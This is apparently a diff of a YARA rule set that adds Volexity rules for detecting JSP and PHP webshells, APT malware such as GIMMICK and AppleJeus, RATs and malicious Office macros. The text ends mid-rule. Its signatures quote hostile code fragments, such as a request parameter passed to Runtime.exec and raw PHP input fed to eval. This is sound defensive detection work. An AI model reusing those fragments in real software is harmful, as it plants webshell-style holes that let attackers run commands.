92353b1ccc638f5ed0e7db43a26cb40fad7f03df + * Number of Rules: 86 + * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance) + * + * + * LICENSE + * + * Copyright 2022 by Volexity, Inc. + +The 2-Clause BSD License + +Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: +1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. +2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + */ +rule VOLEXITY_Webshell_Jsp_Godzilla : FILE MEMORY +{ + meta: + description = "Detects the JSP implementation of the Godzilla Webshell." + author = "threatintel@volexity.com" + id = "47c8eab8-84d7-5566-b757-5a6dcc7579b7" + date = "2021-11-08" + modified = "2024-07-30" + reference = "https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L1-L34" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "52cba9545f662da18ca6e07340d7a9be637b89e7ed702dd58cac545c702a00e3" score = 75 - quality = 45 - tags = "FILE" - version = "20210720" + quality = 80 + tags = "FILE, MEMORY" + hash1 = "2786d2dc738529a34ecde10ffeda69b7f40762bf13e7771451f13a24ab7fc5fe" + os = "win,linux" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6100 + version = 6 strings: - $dex = "dex" - $vdex = "vdex" - $s1 = "LAYOUT_MANAGER_CONSTRUCTOR_SIGNATURE" - $s2 = "java/net/HttpURLConnection;" - $s3 = "java/security/spec/X509EncodedKeySpec;" - $s4 = "MANUFACTURER" + $s1 = ".getWriter().write(base64Encode(" wide ascii + $s2 = ".getAttribute(" ascii wide + $s3 = "java.security.MessageDigest" ascii wide + $auth1 = /String xc=\"[a-f0-9]{16}\"/ ascii wide + $auth2 = "String pass=\"" ascii wide + $magic = "class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q" + $magic2 = "<%@page import=\"java.util.*,javax.crypto.*,javax.crypto.spec.*\"%><%!class" condition: - ($dex at 0 or $vdex at 0 ) and 3 of ( $s* ) + all of ( $s* ) or all of ( $auth* ) or any of ( $magic* ) } -rule TELEKOM_SECURITY_Win_Systembc_20220311 : FILE +rule VOLEXITY_Susp_Jsp_General_Runtime_Exec_Req : FILE MEMORY { meta: - description = "Detects unpacked SystemBC module" - author = "Thomas Barabosch, Deutsche Telekom Security" - id = "39e1a131-bd2c-56e9-961f-2b2c31f29e85" - date = "2022-03-11" - modified = "2022-03-13" - reference = "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6" - source_url = "https://github.com/telekom-security/malware_analysis//blob/bf832d97e8fd292ec5e095e35bde992a6462e71c/systembc/systembc.yara#L1-L27" - license_url = "N/A" - logic_hash = "2f6e2c4c786941f800678e22679d4b81d1097a46c2555ae70e745df1b997c1c8" + description = "Looks for a common design pattern in webshells where a request attribute is passed as an argument to exec()." + author = "threatintel@volexity.com" + id = "7f1539bd-a2f0-50dd-b500-ada4e0971d13" + date = "2022-02-02" + modified = "2024-07-30" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L35-L56" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "d3048aba80c1c39f1673931cd2d7c5ed83045603b0ad204073fd788d0103a6c8" + score = 65 + quality = 80 + tags = "FILE, MEMORY" + hash1 = "4935f0c50057e28efa7376c734a4c66018f8d20157b6584399146b6c79a6de15" + os = "win,linux" + os_arch = "all" + scan_context = "file,memory" + severity = "high" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6450 + version = 3 + + strings: + $s1 = "Runtime.getRuntime().exec(request." ascii + + condition: + $s1 +} +rule VOLEXITY_Webshell_Jsp_Regeorg : FILE MEMORY +{ + meta: + description = "Detects the reGeorg webshells' JSP version." + author = "threatintel@volexity.com" + id = "205ee383-4298-5469-a509-4ce3eaf9dd0e" + date = "2022-03-08" + modified = "2024-09-20" + reference = "https://github.com/SecWiki/WebShell-2/blob/master/reGeorg-master/tunnel.jsp" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-08-10 Mass exploitation of (Un)authenticated Zimbra RCE CVE-2022-27925/yara.yar#L57-L86" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "cecb71605d9112d509823c26e40e1cf9cd6db581db448db5c9ffc63a2bfe529e" score = 75 - quality = 70 + quality = 80 + tags = "FILE, MEMORY" + hash1 = "f9b20324f4239a8c82042d8207e35776d6777b6305974964cd9ccc09d431b845" + os = "win" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6575 + version = 5 + + strings: + $magic = "socketChannel.connect(new InetSocketAddress(target, port))" ascii + $a1 = ".connect(new InetSocketAddress" ascii + $a2 = ".configureBlocking(false)" ascii + $a3 = ".setHeader(" ascii + $a4 = ".getHeader(" ascii + $a5 = ".flip();" ascii + + condition: + $magic or all of ( $a* ) +} +rule VOLEXITY_Apt_Malware_Macos_Gimmick : STORMBAMBOO FILE MEMORY +{ + meta: + description = "Detects the macOS port of the GIMMICK malware." + author = "threatintel@volexity.com" + id = "3d485788-4aab-511b-a49e-5dc09d1950a9" + date = "2021-10-18" + modified = "2024-08-02" + reference = "https://www.volexity.com/blog/2022/03/22/storm-cloud-on-the-horizon-gimmick-malware-strikes-at-macos/" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-03-22 GIMMICK/indicators/yara.yar#L1-L59" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "00fba9df2212874a45d44b3d098a7b76c97fcd53ff083c76b784d2b510a4a467" + score = 75 + quality = 78 + tags = "STORMBAMBOO, FILE, MEMORY" + hash1 = "2a9296ac999e78f6c0bee8aca8bfa4d4638aa30d9c8ccc65124b1cbfc9caab5f" + os = "darwin" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6022 + version = 8 + + strings: + $s1 = "http://cgi1.apnic.net/cgi-bin/my-ip.php --connect-timeout 10 -m 20" wide ascii + $json1 = "base_json" ascii wide + $json2 = "down_json" ascii wide + $json3 = "upload_json" ascii wide + $json4 = "termin_json" ascii wide + $json5 = "request_json" ascii wide + $json6 = "online_json" ascii wide + $json7 = "work_json" ascii wide + $msg1 = "bash_pid: %d, FDS_CHILD: %d, FDS_PARENT: %d" ascii wide + $msg2 = "pid %d is dead" ascii wide + $msg3 = "exit with code %d" ascii wide + $msg4 = "recv signal %d" ascii wide + $cmd1 = "ReadCmdQueue" ascii wide + $cmd2 = "read_cmd_server_timer" ascii wide + $cmd3 = "enableProxys" ascii wide + $cmd4 = "result_block" ascii wide + $cmd5 = "createDirLock" ascii wide + $cmd6 = "proxyLock" ascii wide + $cmd7 = "createDirTmpItem" ascii wide + $cmd8 = "dowfileLock" ascii wide + $cmd9 = "downFileTmpItem" ascii wide + $cmd10 = "filePathTmpItem" ascii wide + $cmd11 = "uploadItems" ascii wide + $cmd12 = "downItems" ascii wide + $cmd13 = "failUploadItems" ascii wide + $cmd14 = "failDownItems" ascii wide + $cmd15 = "downloadCmds" ascii wide + $cmd16 = "uploadFiles" ascii wide + $cmd17 = "bash callback...." ascii wide + + condition: + $s1 or 5 of ( $json* ) or 3 of ( $msg* ) or 9 of ( $cmd* ) +} +rule VOLEXITY_Apt_Malware_Win_Gimmick_Dotnet_Base : STORMBAMBOO FILE MEMORY +{ + meta: + description = "Detects the base version of GIMMICK written in .NET." + author = "threatintel@volexity.com" + id = "be42d85f-3143-51d3-b148-95d0ae666771" + date = "2020-03-16" + modified = "2024-08-19" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-03-22 GIMMICK/indicators/yara.yar#L60-L86" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "39a38ea189d5e840f9334cb7ec8f390444139b39c6f426906a8845f9a1ada9f7" + score = 75 + quality = 80 + tags = "STORMBAMBOO, FILE, MEMORY" + hash1 = "b554bfe4c2da7d0ac42d1b4f28f4aae854331fd6d2b3af22af961f6919740234" + os = "win" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6628 + version = 3 + + strings: + $other1 = "srcStr is null" wide + $other2 = "srcBs is null " wide + $other3 = "Key cannot be null" wide + $other4 = "Faild to get target constructor, targetType=" wide + $other5 = "hexMoudule(public key) cannot be null or empty." wide + $other6 = "https://oauth2.googleapis.com/token" wide + + condition: + 5 of ( $other* ) +} +rule VOLEXITY_Webshell_Jsp_Converge : FILE MEMORY CVE_2022_26134 +{ + meta: + description = "Detects CONVERGE - a file upload webshell observed in incident involving compromise of Confluence server via CVE-2022-26134." + author = "threatintel@volexity.com" + id = "2a74678e-cb00-567c-a2e0-2e095f3e5ee8" + date = "2022-06-01" + modified = "2024-09-20" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L1-L21" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "bb48516342eddd48c35e6db0eb74f95e116dc723503552b99ba721b5bdb391e5" + score = 75 + quality = 80 + tags = "FILE, MEMORY, CVE-2022-26134" + os = "all" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6788 + version = 5 + + strings: + $s1 = "if (request.getParameter(\"name\")!=null && request.getParameter(\"name\").length()!=0){" ascii + + condition: + $s1 +} +rule VOLEXITY_Webshell_Java_Realcmd : FILE MEMORY +{ + meta: + description = "Detects the RealCMD webshell, one of the payloads for BEHINDER." + author = "threatintel@volexity.com" + id = "60b30ccc-bcfa-51e6-a3f5-88037d19213e" + date = "2022-06-01" + modified = "2024-07-30" + reference = "https://github.com/Freakboy/Behinder/blob/master/src/main/java/vip/youwe/sheller/payload/java/RealCMD.java" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-02 Active Exploitation Of Confluence 0-day/indicators/yara.yar#L61-L84" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "e09f2a23674fd73296dd4d1fabf1a2c812bfe69ff02abc96a4be35af6a18e512" + score = 75 + quality = 80 + tags = "FILE, MEMORY" + hash1 = "a9a30455d6f3a0a8cd0274ae954aa41674b6fd52877fafc84a9cb833fd8858f6" + os = "all" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6786 + version = 4 + + strings: + $fn1 = "runCmd" wide ascii fullword + $fn2 = "RealCMD" ascii wide fullword + $fn3 = "buildJson" ascii wide fullword + + condition: + all of ( $fn* ) +} +rule VOLEXITY_Apt_Malware_Win_Applejeus_Oct22 : LAZYPINE FILE MEMORY +{ + meta: + description = "Detects AppleJeus DLL samples." + author = "threatintel@volexity.com" + id = "f88e2253-e296-57d8-a627-6cb4ccff7a92" + date = "2022-11-03" + modified = "2025-05-21" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L1-L22" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "46f3325a7e8e33896862b1971f561f4871670842aecd46bcc7a5a1af869ecdc4" + score = 75 + quality = 80 + tags = "LAZYPINE, FILE, MEMORY" + hash1 = "82e67114d632795edf29ce1d50a4c1c444846d9e16cd121ce26e63c8dc4a1629" + os = "win" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 8495 + version = 3 + + strings: + $s1 = "HijackingLib.dll" ascii + + condition: + $s1 +} +rule VOLEXITY_Apt_Malware_Win_Applejeus_B_Oct22 : LAZYPINE FILE MEMORY +{ + meta: + description = "Detects unpacked AppleJeus samples." + author = "threatintel@volexity.com" + id = "8586dc64-225b-5f28-a6d6-b9b6e8f1c815" + date = "2022-11-03" + modified = "2025-05-21" + reference = "https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L24-L54" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "76f3c9692ea96d3cadbbcad03477ab6c53445935352cb215152b9b5483666d43" + score = 75 + quality = 80 + tags = "LAZYPINE, FILE, MEMORY" + hash1 = "9352625b3e6a3c998e328e11ad43efb5602fe669aed9c9388af5f55fadfedc78" + os = "win" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 8497 + version = 5 + + strings: + $key1 = "AppX7y4nbzq37zn4ks9k7amqjywdat7d" + $key2 = "Gd2n5frvG2eZ1KOe" + $str1 = "Windows %d(%d)-%s" + $str2 = "&act=check" + + condition: + ( any of ( $key* ) and 1 of ( $str* ) ) or all of ( $str* ) +} +rule VOLEXITY_Apt_Malware_Win_Applejeus_C_Oct22 : LAZYPINE MEMORY +{ + meta: + description = "Detects unpacked AppleJeus samples." + author = "threatintel@volexity.com" + id = "c9cbddde-220c-5e26-8760-85c29b98bfeb" + date = "2022-11-03" + modified = "2023-09-28" + reference = "https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L57-L84" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "a9e635d9353c8e5c4992beba79299fb889a7a3d5bc3eaf191f8bb7f51258a6c6" + score = 75 + quality = 80 + tags = "LAZYPINE, MEMORY" + hash1 = "a0db8f8f13a27df1eacbc01505f311f6b14cf9b84fbc7e84cb764a13f001dbbb" + os = "win" + os_arch = "all" + scan_context = "memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 8519 + version = 3 + + strings: + $str1 = "%sd.e%sc \"%s > %s 2>&1\"" wide + $str2 = "tuid" + $str4 = "payload" + $str5 = "fconn" + $str6 = "Mozilla_%lu" + + condition: + 5 of ( $str* ) +} +rule VOLEXITY_Apt_Malware_Win_Applejeus_D_Oct22 : LAZYPINE FILE MEMORY +{ + meta: + description = "Detected AppleJeus unpacked samples." + author = "threatintel@volexity.com" + id = "80d2821b-a437-573e-9e9d-bf79f9422cc9" + date = "2022-11-10" + modified = "2025-05-21" + reference = "https://www.volexity.com/blog/2022/12/01/buyer-beware-fake-cryptocurrency-applications-serving-as-front-for-applejeus-malware/" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L87-L112" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "23c0642e5be15a75a39d089cd52f2f14d633f7af6889140b9ec6e53c5c023974" + score = 75 + quality = 80 + tags = "LAZYPINE, FILE, MEMORY" + hash1 = "a241b6611afba8bb1de69044115483adb74f66ab4a80f7423e13c652422cb379" + os = "win" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 8534 + version = 3 + + strings: + $reg = "Software\\Bitcoin\\Bitcoin-Qt" + $pattern = "%s=%d&%s=%s&%s=%s&%s=%d" + $exec = " \"%s\", RaitingSetupUI " + $http = "Accept: */*" wide + + condition: + all of them +} +rule VOLEXITY_Apt_Delivery_Macro_Lazypine_Jeus_B : LAZYPINE FILE +{ + meta: + description = "Detects macros used by the LazyPine threat actor to distribute AppleJeus." + author = "threatintel@volexity.com" + id = "ac4d4e82-e29f-5134-999d-b8dcef59d285" + date = "2022-11-03" + modified = "2025-05-21" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L114-L139" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "e55199e6ad26894f98e930cd4716127ee868872d08ada1c44675e4db1ec27894" + score = 75 + quality = 80 + tags = "LAZYPINE, FILE" + hash1 = "17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b" + os = "win" + os_arch = "all" + scan_context = "file" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 8493 + version = 3 + + strings: + $a1 = ", vbDirectory) = \"\" Then" ascii + $a2 = ".Caption & " ascii + $a3 = ".nodeTypedValue" ascii + $a4 = ".Application.Visible = False" ascii + $a5 = " MkDir (" ascii + + condition: + all of ( $a* ) +} +rule VOLEXITY_Apt_Delivery_Office_Macro_Lazypine_Jeus : LAZYPINE FILE +{ + meta: + description = "Detects malicious documents used by LazyPine in a campaign dropping the AppleJeus malware." + author = "threatintel@volexity.com" + id = "f9a92f47-aa1d-56ea-ac59-47cc559f379f" + date = "2022-11-02" + modified = "2025-05-21" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L141-L165" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "54d5396b889a45d81122301eadf77f73135937fbe9647ad60491ac7856faf5ad" + score = 75 + quality = 80 + tags = "LAZYPINE, FILE" + hash1 = "17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b" + os = "all" + os_arch = "all" + scan_context = "file" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 8490 + version = 7 + + strings: + $s1 = "0M8R4K" ascii + $s2 = "bin.base64" ascii + $s3 = "dragon" ascii + $s4 = "Workbook_Open" ascii + + condition: + all of ( $s* ) +} +rule VOLEXITY_Webshell_Java_Behinder_Shellservice : FILE MEMORY +{ + meta: + description = "Looks for artifacts generated (generally seen in .class files) related to the Behinder webshell." + author = "threatintel@volexity.com" + id = "21c1e3e9-d048-5c60-9c21-8e54b27f359a" + date = "2022-03-18" + modified = "2024-07-30" + reference = "https://github.com/MountCloud/BehinderClientSource/blob/master/src/main/java/net/rebeyond/behinder/core/ShellService.java" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L1-L29" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "373a8d4ef81e9bbbf1f24ebf0389e7da4b73f88786cc8e1d286ccc9f4c36debc" + score = 75 + quality = 30 + tags = "FILE, MEMORY" + hash1 = "9a9882f9082a506ed0fc4ddaedd50570c5762deadcaf789ac81ecdbb8cf6eff2" + os = "win,linux" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6615 + version = 3 + + strings: + $s1 = "CONNECT" ascii fullword + $s2 = "DISCONNECT" ascii fullword + $s3 = "socket_" ascii fullword + $s4 = "targetIP" ascii fullword + $s5 = "targetPort" ascii fullword + $s6 = "socketHash" ascii fullword + $s7 = "extraData" ascii fullword + + condition: + all of them +} +rule VOLEXITY_Malware_Golang_Pantegana : FILE MEMORY +{ + meta: + description = "Detects PANTEGANA, a Golang backdoor used by a range of threat actors due to its public availability." + author = "threatintel@volexity.com" + id = "b6154165-68e0-5986-a0cf-5631d369c230" + date = "2022-03-30" + modified = "2025-03-21" + reference = "https://github.com/elleven11/pantegana" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L90-L120" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "791a664a6b4b98051cbfacb451099de085cbab74d73771709377ab68a5a23d2b" + score = 75 + quality = 80 + tags = "FILE, MEMORY" + hash1 = "8297c99391aae918f154077c61ea94a99c7a339166e7981d9912b7fdc2e0d4f0" + os = "all" + os_arch = "all" + scan_context = "file,memory" + severity = "high" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6631 + version = 3 + + strings: + $s1 = "RunFingerprinter" ascii + $s2 = "SendSysInfo" ascii + $s3 = "ExecAndGetOutput" ascii + $s4 = "RequestCommand" ascii + $s5 = "bindataRead" ascii + $s6 = "RunClient" ascii + $magic = "github.com/elleven11/pantegana" ascii + + condition: + 5 of ( $s* ) or $magic +} +rule VOLEXITY_Malware_Any_Pupyrat_B : FILE MEMORY +{ + meta: + description = "Detects the PUPYRAT malware family, a cross-platform RAT written in Python." + author = "threatintel@volexity.com" + id = "ec8d0448-f47d-5c6e-bcf9-8f40ae83a96f" + date = "2022-04-07" + modified = "2025-03-21" + reference = "https://github.com/n1nj4sec/pupy" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L121-L158" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "f5b5f35ee783ff1163072591c6d48a85894729156935650a0fd166ae22a2ea00" + score = 75 + quality = 80 + tags = "FILE, MEMORY" + hash1 = "7474a6008b99e45686678f216af7d6357bb70a054c6d9b05e1817c8d80d536b4" + os = "all" + os_arch = "all" + scan_context = "file,memory" + severity = "critical" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 6689 + version = 4 + + strings: + $elf1 = "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null" ascii + $elf2 = "reflective_inject_dll" fullword ascii + $elf3 = "ld_preload_inject_dll" fullword ascii + $pupy1 = "_pupy.error" ascii + $pupy2 = "pupy://" ascii + $s1 = "Args not passed" ascii + $s2 = "Too many args" ascii + $s3 = "Can't execute" ascii + $s4 = "mexec:stdin" ascii + $s5 = "mexec:stdout" ascii + $s6 = "mexec:stderr" ascii + $s7 = "LZMA error" ascii + + condition: + any of ( $elf* ) or all of ( $pupy* ) or all of ( $s* ) +} +rule VOLEXITY_Susp_Php_Fileinput_Eval : FILE +{ + meta: + description = "Rule designed to detect PHP files which use file_get_contents() and then shortly afterwards use an eval statement." + author = "threatintel@volexity.com" + id = "3e311677-22ea-5e5f-bdc6-dd67033d25a6" + date = "2021-06-16" + modified = "2024-12-12" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L159-L182" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "de376bfdfa5b6244c414454cb5d43d29e3dd75e049389f0c430c160f9d198965" + score = 65 + quality = 80 tags = "FILE" - sharing = "TLP:WHITE" - hash_1 = "c926338972be5bdfdd89574f3dc2fe4d4f70fd4e24c1c6ac5d2439c7fcc50db5" - in_memory = "True" + hash1 = "1a34c43611ee310c16acc383c10a7b8b41578c19ee85716b14ac5adbf0a13bd5" + hash2 = "6e8874c756c009c63f715a44ca72d0cb31dc25d87d7df6ca2830fe8330580342" + os = "win,linux" + os_arch = "all" + scan_context = "file" + severity = "high" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 5581 + version = 5 + + strings: + $s1 = "file_get_contents(\"php://input\")" + $s2 = "eval(" + + condition: + $s2 in ( @s1 [ 1 ] .. ( @s1 [ 1 ] + 512 ) ) +} +rule VOLEXITY_Susp_Php_Call_User_Func : FILE +{ + meta: + description = "Webshells using call_user_func() function against an object from a file input or POST variable." + author = "threatintel@volexity.com" + id = "48c7857e-7dda-5e3f-b82c-7d34c251f083" + date = "2021-06-16" + modified = "2024-07-30" + reference = "https://zhuanlan.zhihu.com/p/354906657" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-06-15 DriftingCloud - Zero-Day Sophos Firewall Exploitation and an Insidious Breach/indicators/yara.yar#L183-L205" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "46c999da97682023861e58f9cd2c8651480db990a0361c1985c6d5c35b5bf0ea" + score = 65 + quality = 80 + tags = "FILE" + hash1 = "40b053a2f3c8f47d252b960a9807b030b463ef793228b1670eda89f07b55b252" + os = "win,linux" + os_arch = "all" + scan_context = "file" + severity = "high" + license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt" + rule_id = 5582 + version = 4 + + strings: + $s1 = "@call_user_func(new C()" wide ascii + + condition: + $s1 +} +rule VOLEXITY_Apt_Malware_Js_Sharpext : SHARPPINE FILE MEMORY +{ + meta: + description = "A malicious Chrome browser extension used by the SharpPine threat actor to steal Gmail data from a victim." + author = "threatintel@volexity.com" + id = "61b5176a-ff73-5fce-bc70-c9e09bb5afed" + date = "2021-09-14" + modified = "2025-05-21" + reference = "https://github.com/volexity/threat-intel" + source_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/2022/2022-07-28 SharpTongue SharpTongue Deploys Clever Mail-Stealing Browser Extension SHARPEXT/yara.yar#L1-L52" + license_url = "https://github.com/volexity/threat-intel/blob/92353b1ccc638f5ed0e7db43a26cb40fad7f03df/LICENSE.txt" + logic_hash = "0ed58c8646582ee36aeac650fac02d1e4962d45c0f6a24783c021d9267bed192" + score = 75 + quality = 80 + tags = "SHARPPINE, FILE, MEMORY" + hash1 = "1c9664513fe226beb53268b58b11dacc35b80a12c50c22b76382304badf4eb00" + hash2 = 